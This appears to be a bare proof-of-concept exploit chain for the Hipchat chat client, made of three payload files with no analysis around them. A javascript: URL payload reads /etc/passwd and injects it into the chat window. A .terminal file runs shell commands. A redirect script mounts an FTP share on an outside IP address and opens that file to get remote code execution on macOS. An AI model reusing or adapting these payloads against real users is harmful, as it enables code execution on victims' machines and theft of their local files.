Hipchat XSS / RCE

file_include.js

javascript://comment[\r\n]
r=new XMLHttpRequest(); 
r.open('GET','file:///etc/passwd',false);
r.send(null);
document.getElementById('chat_text').innerHTML=r.responseText;

hack.terminal

<dict>
        <key>WindowTitle</key>
        <string>Hacked!!!</string>
        <key>CommandString</key>
        <string>
                cat /etc/passwd;
                osascript -e 'display dialog "You just got hacked!"'
        </string>
...

rce.js

javascript://comment
location.href="ftp://anonymous:x@104.131.88.251/";
window.setTimeout(function(){location.href="file:///Volumes/104.131.88.251/hack.terminal";},5000)

x

x